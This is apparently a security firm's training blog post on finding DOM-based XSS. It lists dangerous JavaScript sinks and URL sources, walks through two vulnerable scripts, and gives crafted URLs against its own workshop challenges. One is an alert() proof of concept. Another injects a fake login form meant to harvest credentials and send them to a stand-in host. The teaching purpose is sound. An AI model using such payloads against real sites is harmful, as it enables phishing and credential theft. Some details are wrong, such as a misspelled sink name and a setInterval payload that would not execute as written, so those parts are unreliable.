Finding DOM-Based XSS

Published: 19 October 2020

Introduction

We’ve previously written about Reflected and Stored Cross-site Scripting, however this time we want to tackle DOM-Based Cross-site Scripting, or DOM-XSS for short. The exploitation of DOM-XSS is frequently very similar to Reflected Cross-site scripting, were the payload is stored within the URL and exploitation occurs where a user can be tricked into clicking the link, such as through a phishing email – but we’ll break it down step by step.

Cross-site Scripting vulnerabilities occur where scripts can be executed within another user’s view of a web application. It can allow for attacks such as virtual defacement of the page, the theft of confidential data, or the distribution of malicious software to users of the site.

With Reflected or Stored XSS, user input is insecurely embedded within the HTML source of the page which can lead to JavaScript execution. However with DOM-XSS a vulnerable script itself allows user input to be executed as code within the script, which means the attack is entirely client-side (and occasionally the payload is not even sent to the server).

Finding and Exploiting DOM-XSS

The trick to finding DOM-XSS is finding a dangerous function which accepts user input. It sounds easy at first, but the user input can be quite distance from the dangerous function within a long script file.

Examples of dangerous JavaScript functions include:

document.execCommand()
document.write()
document.writeln()
document.evauate()
eval()
setInterval()
setTimeout()
[element].innerHtml
jQuery.globalEval() /* requires jQuery */

If these functions take user controlled input, a vulnerability could occur. User input includes variables such as:

document.location
document.location.href
document.location.hash
document.documentURI
document.baseURI
document.URL

For example, here is a very simple vulnerable script:

<script>
var stuff = unescape(location.hash.substr(1));
document.write("Your input was: "+stuff+"<br><br>");
</script>

The script is using location.hash, which is user input (it’s the part of the web address following the hash symbol, which can crafted through a malicous link). By supplying location.hash to the dangerous function document.write() without filtering the input, a DOM-XSS vulnerability occurs.

To demonstrate this we can show an example. Here we have an example on our workshop page, which we use for our security training courses. This page includes the short script given above and therefore can be exploited through a crafted link, such as:

https://akimboworkshop.com/challenges/dom-xss/1/?#<script>alert('DOM XSS!')</script>

The result is a JavaScript alert() box, which demonstrates it’s possible execute JavaScript by tricking a user into clicking the link.

The example payload causes the JavaScript alert() function to execute within the browser

The issue occurs in this case as the vulnerable script reads the contents of the hash through the variable location.hash. For the link above the contents of location.hash is:

#<script>alert()</script>

The substr(1) in the vulnerable script simply causes the first character (the hash) to be removed. This result is given to the dangerous function document.write() which writes the script to the page – causing the JavaScript execution.

It’s worth noting in this example, exploitation is not happening through a URL parameter being reflected by the server, as generally seen with Reflected XSS. Instead, the input is being loaded directly through JavaScript. For this example (but not necessarily all DOM-XSS) the payload will not even be sent to the server, as it is placed after the fragment (the hash in the URL) which is handled client-side only.

This is a simple proof-of-concept that shows, should a user click a link then JavaScript execution can occur – this is useful for penetration testing or bug bounty reports, however, there are many more interesting payload which could be used instead of a simple alert box. Here’s an example of a fake login page:

A fake login box created through a proof of concept malicious script.

https://akimboworkshop.com/challenges/dom-xss/1/?#<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

That's an easy example of DOM-XSS, let's take a quick look at something a little more complex:

<script>
function goPew() {
    var vara;
    var varb;
    vara = location;
    varb = vara.toString();
    vara = varb.split("?");
    varb = vara[3];
    return varb;
}

var varc = goPew();
setInterval(varc, 1000);</script>

This example is vulnerable in the same way as the earlier example. User input is supplied to a dangerous function. Here we see the "location" object, which contains things like the site address (location.href) and the fragement (location.hash). This is eventially supplied to setInterval, which is a function that allows for arbitrary JavaScript execution in the first parameter.

The trick here is joining the two things together, working out exactly how location is supplied to setInterval. In short the goPew() function takes location, gives it to toString() which effectively returns the current URL, splits it into an array on the question mark character and uses only the fourth (that's [3] counting from zero) and returns that value. This is then given to setInterval.

If you consider the following URL:

https://akimboworkshop.com/challenges/dom-xss/4/?foo?bar?baz?qux

Here the main part of the URL (everything left of the first question mark) will be zero [0], foo is [1], bar is [2], baz is [3] and qux is [4]. Looking back at our vulnerable script the part that is used is [3]. So all we need to do is replace baz with a payload and interval will fire it. For example:

https://akimboworkshop.com/challenges/dom-xss/4/?foo?bar?<script>alert('DOM XSS!')</script>?qux

In summary, finding DOM-XSS is just finding a point of user input that is supplied to a dangerous function. The trick is working through how the user input is modified and processed such that your payload makes it through to the function in a way that still causes a security impact.

That's it!

Read More